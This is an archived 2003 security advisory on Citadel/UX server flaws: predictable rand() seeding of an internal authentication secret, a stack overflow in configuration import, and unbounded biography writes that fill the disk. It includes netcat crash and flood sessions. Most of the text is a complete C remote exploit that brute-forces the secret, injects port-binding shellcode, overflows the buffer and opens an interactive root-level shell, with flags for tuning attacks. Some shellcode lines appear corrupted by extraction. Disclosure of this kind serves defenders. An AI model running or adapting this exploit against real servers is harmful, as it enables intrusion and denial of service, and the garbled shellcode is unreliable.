

[UNIX] Multiple Vulnerabilities in Citadel/UX

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-07/0053.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/15/03

To: list@securiteam.com

Date: 15 Jul 2003 18:01:13 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security in Canada

Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.

We welcome ISPs, system integrators and IT systems resellers

to promote the most advanced vulnerability assessment solutions today.

Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

Multiple Vulnerabilities in Citadel/UX

SUMMARY

<<http://uncensored.citadel.org/citadel/>> Citadel/UX is a BBS server organized into areas called "rooms," each dedicated to a particular topic. On most Citadels, users have the ability to create new rooms, thereby providing an environment that is constantly adapting to the people who participate.

Several problems exist, from information leakage to a buffer overflow that could allow complete control over a vulnerable server.

DETAILS

Problem Details:

The following problems have been discovered:

- 1) Poor random number seeding leads to predictable numbers being generated. These numbers are used as authentication tokens for certain processes which, when subverted, can lead to an attacker gaining elevated privileges on vulnerable systems.

2) Insufficient bounds checking is performed on several buffers in the server. The vulnerable sections of the server can only be accessed with sufficient access rights, but when an attacker can successfully exploit (1) above, it becomes possible to overwrite data on the stack leading to execution of arbitrary code.

3) No checking is done on the amount of data written to a BBS users' biography file. Thus, it is possible to send a very large stream of data to a vulnerable server, quickly consuming all disk space.

Each of the above will be discussed in more detail:

(1) Poor random seeding.

When Citadel is initially installed, a 'secret key' is generated by the setup program that can later be used to authenticate to the server as an 'internal program'. An 'internal program' is a highly trusted state of authentication with the server that is used for IPC (Inter-process Communication).

This 'internal program secret' (hereafter referred to as 'IPGM') is a signed 32 bit number generated by a call to rand(3). Here is the source code that performs this work:

```
if (config.c_ipgm_secret == 0) {
    srand(getpid());
    config.c_ipgm_secret = rand();
}
```

The seed for the randomly generated IPGM is based on the PID of the setup process, which means that it is a highly predictable number. According to the man page for rand(3):

"These sequences are repeatable by calling srand() with the same seed value."

This means that if the PID used by the setup program is guessed correctly, it is possible to generate the IPGM used to authenticate to that Citadel server and use privileged commands on it.

As PIDs are usually sequential on most systems (barring OpenBSD and some others), it is trivially easy to brute-force the IPGM for any given Citadel server as can be seen by this simplistic code snippet:

```
for(seed=100; seed < 30000; seed++) {
    srand(seed);
    if(try_IPGM_number(rand())==SUCCESS) {
        printf("We guessed it!\n");
    }
}
```

Such an operation can be performed in a few seconds on a fast network.

Securiteam: [UNIX] Multiple Vulnerabilities in Citadel/UX

(2) Insufficient bounds checking

One of the privileged operations that can be performed by an 'internal program' is that of importing new configuration options. Once an attacker has authenticated using IPGM, (s)he can change the way the BBS operates, add new Sysops... pretty much anything.

The functions that provide this import facility do not do sufficient bounds checking on input buffers that are later copied to smaller configuration buffers, leading to the possibility of carrying out a buffer overflow attack.

For example, here is an example session with a Citadel server that overruns a configuration buffer:

```
carl@sol:~/exploits/research/BBS/citadel> netcat localhost 504
200 sol Citadel/UX server ready.
IPGM 99278196
200 Authenticated as an internal program.
ARTV import
400 sock it to me
floor
Line 1 Any old junk
Line 2 Any old junk
Line 3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (~298 A's)
Line 4 Any old junk
Line 5 Any old junk
```

At this point, the Citadel server will die and EIP = 0x41414141. It is not trivial to exploit this, however, as the server is multithreaded and it is hard to find a fixed memory address to store shellcode.

After much head-scratching, we developed a technique that will work almost 100% of the time. See the attached exploit source-code for more details.

(3) DoS attack

It is possible for a Citadel user to add a biography to their profile. The server code that imports this biography does no checking of the amount of data that is input (and written straight out to a file), thereby letting a malicious user consume all available disk space on the citadel server:

```
carl@sol:~/exploits/research/BBS/citadel> netcat localhost 504
200 sol Citadel/UX server ready.
USER bob
300 Password required for bob
PASS bob
200 bob|4|3|0|10768|17|1058197339
EBIO
400
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA.. and so on.
```

Securiteam: [UNIX] Multiple Vulnerabilities in Citadel/UX

Eventually, this would use up all available disk space, effectively causing a DoS in the victim server.

Vendor notification timeline:

14th July 2003: Contacted author by email. Approximately 2 hours later, he had checked fixes into CVS.

15th July 2003: Received email from author stating that a new version was available, and he included the following comments:

- The random number generator is now seeded from /dev/urandom, or from the subsecond time-of-day (tv.tv_usec) if /dev/urandom is not available.
- The ipgm_secret is set at server startup (after seeding the random number generator), and changes after the execution of any IPGM command (successful or otherwise).
- IPGM now only runs over a local connection on a Unix domain socket. It will not run over the network.
- A failed IPGM authentication now sleeps for 5 seconds, returns an error code, and disconnects the session.
- The EBIO command now honors config.c_maxmsglen, instead of potentially overrunning the host system's disk capacity.
- Many instances of strcpy() have been replaced with safestrcpy(). This is an ongoing process that will continue.

Updated Packages:

Version 6.08 is now available incorporating the above fixes. It can be downloaded at this URL:

<http://uncensored.citadel.org/pub/citadel/citadel-ux-6.08.tar.gz>
<http://uncensored.citadel.org/pub/citadel/citadel-ux-6.08.tar.gz>

Exploit:

```
/*  
Citadel/UX 6.07 Remote exploit  
By Carl Livitt, July 2003  
carllivitt at hush dot com
```

Public release version of the IPGM exploit. This probably has bugs...
if you fix them, please mail them back to me!

```
*/  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <sys/socket.h>  
#include <net/if.h>  
#include <netinet/in.h>  
#include <netinet/tcp.h>  
#include <arpa/inet.h>  
#include <stdio.h>
```

Securiteam: [UNIX] Multiple Vulnerabilities in Citadel/UX

```
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>
#include <stdarg.h>

// If you change these, things will probably break.
#define SIZ 4096
#define LEN 298
#define RET 0xbffaf20
#define CITADEL_PORT 504
#define SHELL_PORT 45295
#define LOCAL_NET() if(localNet) { my_sleep(nanoSecondsToSleep);}
#define CHANCE_COUNTER 5
#define NODELAY_ERR -1
#define SOCKET_ERR -2
#define CONNECT_ERR -3
#define HOST_NOT_RESOLVED -4
#define BRUTE_FORCE_EXHAUSTED -5
#define INCORRECT_IPGM_SECRET -6
#define SHELL_NOT_FOUND -7
#define SUCCESS 1
#define FAILED 0

// I'm using prewritten shellcode today... Laziness, Impatience, Hubris!
// -----
// linux x86 shellcode by eSDee of Netric (www.netric.org)
// 200 byte - forking portbind shellcode - port=0xb0ef(45295)
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66"
"\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66"
"\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40xcd\x80\x31\xc0\x50"
"\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31"
"\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57"
"\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
"\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
"\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31"
"\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f"
```

Securiteam: [UNIX] Multiple Vulnerabilities in Citadel/UX

```
"\x62\x69\x6e\x89\xe3\x8b\x54\x24"  
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd"  
"\x80\x31\xc0\x40xcd\x80\x31\xc0"  
"\x89\xf3\xb0\x06xcd\x80xeb\x99";  
  
// These kind of appeared as the exploit was developed  
void my_send(int, char *, ...);  
void my_recv(int);  
void make_shellcode(char *);  
void make_exploitbuf(char *);  
int brute_force(int);  
void usage(void);  
void my_sleep(int);  
void increase_chances(int,int);  
int connect_to_host(char *, int);  
int attempt_exploit(void);  
  
// As did these... all global, as they kept moving  
// between functions and I grew sick of it...  
int localNet=0, bufLenAdjust=0;  
int nanoSecondsToSleep=100000;  
int SEED_START=10;  
int SEED_MAX=30000;  
int NUM_ATTEMPTS=4;  
int RESPAWN_SLEEP=10;  
int seed;  
struct timespec t;  
unsigned long retAddr=RET;  
char buf[SIZ], host[SIZ];  
int magicNumber=0,sock,adjustRet=0,ch,retVal,i,r;  
fd_set rfd;  
  
main(int argc, char **argv) {  
    int exploitAttempts=0;  
  
    // parse command-line  
    while((ch=getopt(argc, argv, "t:li:s:hr:a:A:o:O:b:B:n:S:"))!= -1) {  
        switch(ch) {  
            case 't':  
                strncpy(host, optarg, SIZ-1);  
                break;  
            case 'i':  
                magicNumber=atoi(optarg);  
                printf("[ - ] Using IPGM secret: %d\n", magicNumber);  
                break;  
            case 'l':  
                localNet=1;  
                printf("[ - ] Using local net hack\n");  
                break;  
            case 's':  
                nanoSecondsToSleep=atoi(optarg);
```

Securiteam: [UNIX] Multiple Vulnerabilities in Citadel/UX

```
    printf("[–] Using sleep count of %d where necessary\n",
nanoSecondsToSleep);
    break;
case 'r':
    retAddr=strtoul(optarg,NULL,16);
    printf("[–] Using RET address: 0x%08x\n", retAddr);
    break;
case 'a':
    adjustRet=atoi(optarg);
    retAddr+=adjustRet;
    printf("[–] Using RET address: 0x%08x\n", retAddr);
    break;
case 'A':
    adjustRet=atoi(optarg);
    retAddr-=adjustRet;
    printf("[–] Using RET address: 0x%08x\n", retAddr);
    break;
case 'o':
    bufLenAdjust=atoi(optarg);
    printf("[–] Increasing overflow buffer by %d bytes\n", bufLenAdjust);
    break;
case 'O':
    bufLenAdjust=atoi(optarg);
    bufLenAdjust=-bufLenAdjust;
    printf("[–] Decreasing overflow buffer by %d bytes\n", bufLenAdjust);
    break;
case 'b':
    SEED_START=atoi(optarg);
    printf("[–] Bruteforce starting at srand(%d)\n", SEED_START);
    break;
case 'B':
    SEED_MAX=atoi(optarg);
    printf("[–] Bruteforce ending at srand(%d)\n", SEED_MAX);
    break;
case 'n':
    NUM_ATTEMPTS=atoi(optarg);
    printf("[–] Will try exploit %d times\n", NUM_ATTEMPTS);
    break;
case 'S':
    RESPAWN_SLEEP=atoi(optarg);
    printf("[–] Will sleep for %d seconds between exploit attempts\n");
    break;
case 'h':
default:
    usage();
    exit(0);
}
}

while(exploitAttempts++ < NUM_ATTEMPTS &&
(retVal=attempt_exploit())!=SUCCESS) {
```

```

switch(retVal) {
case HOST_NOT_RESOLVED:
    printf("[*] Couldn't connect to host: %s not found.\n", host);
    exit(1);
    break;
case SOCKET_ERR:
    printf("[*] Couldn't grab a socket!\n");
    exit(1);
    break;
case CONNECT_ERR:
    printf("[*] Connection to %s was rejected\n",host);
    exit(1);
case NODELAY_ERR:
    printf("[!] WARNING: Failed to set TCP_NODELAY option on socket\n");
    break;
case BRUTE_FORCE_EXHAUSTED:
    printf("[*] Brute force operation failed. Aborting.\n");
    exit(1);
    break;
case INCORRECT_IPGM_SECRET:
    printf("[*] IPGM secret incorrect!\n");
    exit(1);
    break;
case SHELL_NOT_FOUND:
    printf("[!] This attempt failed... waiting for INIT to respawn
Citadel...\n");
    sleep(RESPAWN_SLEEP);
    break;
default:
    printf("[*] ERROR: There was no error!\n");
    break;
}
}
if(exploitAttempts==NUM_ATTEMPTS)
    printf("[ - ] Exploit failed %d times. Aborting.\n", exploitAttempts);

printf("\nHave a nice day!\n");
exit(0);
}

int attempt_exploit(void) {
    int magic;

    // Connect to the host and grab the banner
    printf("[ - ] Connecting to Citadel server (%s) on port %d\n", host,
CITADEL_PORT);
    if((sock=connect_to_host(host,CITADEL_PORT)) < 1)
        return sock;
    my_recv(sock);

```

Securiteam: [UNIX] Multiple Vulnerabilities in Citadel/UX

```
// Attempt to brute-force the secret IPGM authentication number.
// Only do this if magic number is not given on command-line (-i flag).
magic=magicNumber;
if(!magic) {
  printf("[ - ] Starting bruteforce operation ...\n");fflush(stdout);
  if((magic=brute_force(sock))== -1) {
    return BRUTE_FORCE_EXHAUSTED;
  }
  printf("[ - ] Success! IPGM=%d (seed: %d)\n", magic, seed);
  magicNumber=magic; // set magicNumber so we don't run bruteforcer again

  // Tear down the socket, and reconnect again (to reauthenticate),
  printf("[ - ] Re-establishing connection to %s ...\n",host);
  my_send(sock, "QUIT\n");
  my_recv(sock);
  close(sock);
  if(!(sock=connect_to_host(host,CITADEL_PORT)))
    return sock;
}

// Authenticate as internal program, but unlike the brute-force attempts,
// tag 4K of shellcode on the end of the request
printf("[ - ] Authenticating as internal program ...\n");
make_shellcode(buf);
my_send(sock, "IPGM %d %s\n", magic, buf);
LOCAL_NET();
buf[recv(sock,buf,SIZ-1,0)]=0; // don't do this at home, kids!
if(strncmp(buf, "200",3) {
  return INCORRECT_IPGM_SECRET;
}

// Increase the chance of the shellcode being in the correct place at the
// correct time by sending it many times... this lets each worker thread
// in Citserver copy the shellcode into a buffer, making it almost
// certain that we can jump to it successfully (it hasn't failed once!)
// Shellcode is stored in a buffer that is used by Citserver to hold
// text that would normally get logged to stderr. As Citserver usually
// runs as a daemon, this exploit doesn't show in any logs at all.
increase_chances(sock,magic);

// Enter configuration import mode, specifically the 'floor' section,
// although I think others may be vulnerable too
printf("[ - ] Entering config mode ...\n");
my_send(sock, "ARTV import\n");
my_recv(sock);
my_send(sock, "floor\n");

// Start the vulnerable import process which blindly reads in 6 lines of
// data. These lines are read into buffers 4K in size, and the data is
// also truncated at 4K... Unfortunately, the 3rd line goes into a 256
// byte buffer which, of course, overflows..
```

Securiteam: [UNIX] Multiple Vulnerabilities in Citadel/UX

```
printf("[–] Sending exploit strings ...\n");
my_send(sock, "a\n");
my_send(sock, "a\n");

// Overflow occurs when this buffer is read by the server, so make sure
// it's padded to the correct size with the evil RET address tagged on
// the end.
make_exploitbuf(buf);
my_send(sock,buf);

// Send the final 3 lines of text. It can be anything we like...
make_shellcode(buf);
for(i=0;i<3;i++)
  my_send(sock,buf);

// The server will now have RETurned to the new, malicious saved EIP and
// is executing the shellcode... We close the connection, wait a couple
of
// seconds and then connect to the shell which is bound to port 45295.
close(sock);

printf("[–] Waiting before connecting to shell...\n");
sleep(2);
printf("[–] Now connecting to shell...\n");
if(!(sock=connect_to_host(host,SHELL_PORT))) {
  return SHELL_NOT_FOUND;
}
printf("[–] Connected! You can type commands now:\n");

// Now let the attacker issue commands to the remote
// shell, just as if (s)he had launched 'nc host 45295'.
do {
  FD_ZERO(&rfd);
  FD_SET(0, &rfd);
  FD_SET(sock, &rfd);
  retVal=select(sock+1, &rfd, NULL, NULL, NULL);
  if(retVal) {
    if(FD_ISSET(sock, &rfd)) {
      buf[(r=recv(sock, buf, SIZ-1,0))]='\0'; // bad!
      printf("%s", buf);
    }
    if(FD_ISSET(0, &rfd)) {
      buf[(r=read(0, buf, SIZ-1))]='\0'; // bad!
      send(sock, buf, strlen(buf), 0);
    }
  }
} while(retVal && r); // loop until connection terminates

// Be an environmentally friendly programmer and free resources before
exiting...
```

```

close(sock);
return 1;
}

// Given a hostname (or IP address) and a port number, this function
// connects a TCP stream and returns a socket number (or dies trying)
int connect_to_host(char *h, int p) {
int sock,tmp=1;
struct hostent *host;
struct sockaddr_in saddr;

if((host=gethostbyname(h))==NULL) {
return HOST_NOT_RESOLVED;
}

if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
return SOCKET_ERR;
}
memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
saddr.sin_family=AF_INET;
saddr.sin_addr.s_addr=((unsigned long *)host->h_addr_list[0]);
saddr.sin_port=htons(p);
if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
return CONNECT_ERR;
}

// We want this to stop bad buffering on fast networks... TCP_NODELAY
seems
// to fix strange and intermittent buffering issues on some test boxes,
// especially when coupled with 'local net' mode ( See 'help' in usage()
).
if(setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (void *)&tmp,
sizeof(tmp))!=0) {
return NODELAY_ERR;
}

return sock;
}

// This will brute-force the secret IPGM (Internal ProGraM) authentication
// code for the Citadel server. The IPGM secrets are determined at install
// time and use a very weak random number generator that creates precisely
// reproducible 'random' numbers. By default, this brute-forcer is setup
to
// try about 29990 32-bit 'secret' numbers... it's overkill but catches
100%
// of Citadel installations tested so far.
// Returns IPGM secret number if successful, -1 if not.
// Note: This could be a lot more efficient... but seeing as this is a
public
// release, better not make it _too_ efficient, eh?

```

```

int brute_force(int s) {
    char buf[SIZ];
    int exitFlag=0, randomNum;

    // Loop through each seed and try the random number...
    seed=SEED_START;
    while(!exitFlag && seed<=SEED_MAX) {
        printf("[~] Bruteforcing ... %d of %d\r", seed,
SEED_MAX);fflush(stdout);
        srand(seed);
        my_send(s, "IPGM %d\n", (randomNum=rand()));
        memset(buf,0,SIZ-1);
        LOCAL_NET();
        recv(s, buf, SIZ-1, 0);
        if(!strncmp(buf, "200",3))
            exitFlag=1;
        seed++;
    }
    printf(" \r");

    // Return the magic number to the caller if successful.
    // Note: we have already been successfully IPGM authenticated,
    // so no need to do it again in the calling function.
    if(exitFlag)
        return randomNum;
    else
        return -1;
}

// Fairly standard function to fill a buffer with LEN bytes of padding,
// followed by the RET address to overwrite saved EIP with. An extra non-
// printable character is added at the end of the buffer because the
Citadel
// server will convert the last non-printable character in a buffer to
NULL.
void make_exploitbuf(char *b) {
    int l;

    memset(b,0x00,SIZ-1);
    memset(b,'a',LEN+bufLenAdjust);
    l=strlen(b);
    b[l]=retAddr&0xff;
    b[l+1]=(retAddr&0xff00)>>8;
    b[l+2]=(retAddr&0xff0000)>>16;
    b[l+3]=(retAddr&0xff000000)>>24;

    // make sure there is a non-printable char _after_ the RET address,
    because the server
    // will replace the last non-printable char with a NULL... we don't want
    our RET NULLified!
    strcat(b, " \x01\n");
}

```

```

}

// Pad out the shellcode buffer with NOPs to make it easier to hit the
// shellcode when the server RETURNS from the vulnerable function. Again,
// a non-printable char is added to the end of the buffer.
void make_shellcode(char *b) {
    int i;

    memset(b,0,SIZ-1);
    memset(b,0x90,SIZ-40); // 40 is arbitrary – enough room for IPGM
    xxxxxxxxxxxx
    memcpy(b+(SIZ-42)-strlen(shellcode), shellcode, strlen(shellcode));
    strcat(b,"\x01"); // nonprintable char
}

// Handy little function to send formattable data down a socket.
void my_send(int s, char *b, ...) {
    va_list ap;
    char *buf;

    va_start(ap,b);
    vasprintf(&buf,b,ap);
    send(s,buf,strlen(buf),0);
    va_end(ap);
    free(buf);
}

// Another handy function to read data from a socket.
void my_rcv(int s) {
    int len;
    char buf[SIZ];

    LOCAL_NET();
    len=recv(s, buf, SIZ-1, 0);
    buf[len]=0;
    // do stuff with buf[] here...
    //printf("%s");
}

// No prizes for guessing what this does....
// Note: this style of multi-line text strings is deprecated and won't
// compile
// under GCC 3.3 – I don't care.
void usage(void) {
    printf("
Citadel Exploit – Public Release Version
By Carl Livitt (carllivitt at hush dot com)

```

Flags:

- t target Attack host 'target'
- l Use 'local net' mode: adds small pauses

Securiteam: [UNIX] Multiple Vulnerabilities in Citadel/UX

```
between send() and recv() calls. Has more
chance of succeeding on fast networks
-i number Specify IPGM number if known - avoids
doing brute force discovery
-s nanosecs Sleep for 'nanosecs' when in local net mode
default: 100000
-r address Specify RET address
-a adjustment Add 'adjustment' to RET address
-A adjustment Subtract 'adjustment' to RET address
-o adjustment Add 'adjustment' to overflow buffer length
-O adjustment Subtract 'adjustment' from overflow buffer length
-b number Start bruteforce srand() seed at 'number'
-B number End bruteforce srand() seed at 'number'
-n number Attempt the exploit 'number' times
-S seconds Sleep for 'seconds' between exploit attempts
-h You're reading it.
");
}
```

```
// Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
```

```
void my_sleep(int n) {
    t.tv_sec=0;
    t.tv_nsec=n;
    nanosleep(&t,&t);
}
```

```
// Flood the citadel server CHANCE_COUNTER times with the shellcode
// to try and make it more likely for the shellcode to be in the right
// place at the right time. This function makes one helluva difference
// to the exploits reliability (100% reliable to date).
```

```
void increase_chances(int s, int m) {
    char buf[SIZ];
    int i;

    make_shellcode(buf);
    for(i=0;i<CHANCE_COUNTER;i++) {
        my_send(s, "IPGM %d %s\n", m, buf);
        my_recv(s);
    }
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:carllivitt@hush.com>> Carl Livitt.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com

Securiteam: [UNIX] Multiple Vulnerabilities in Citadel/UX

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.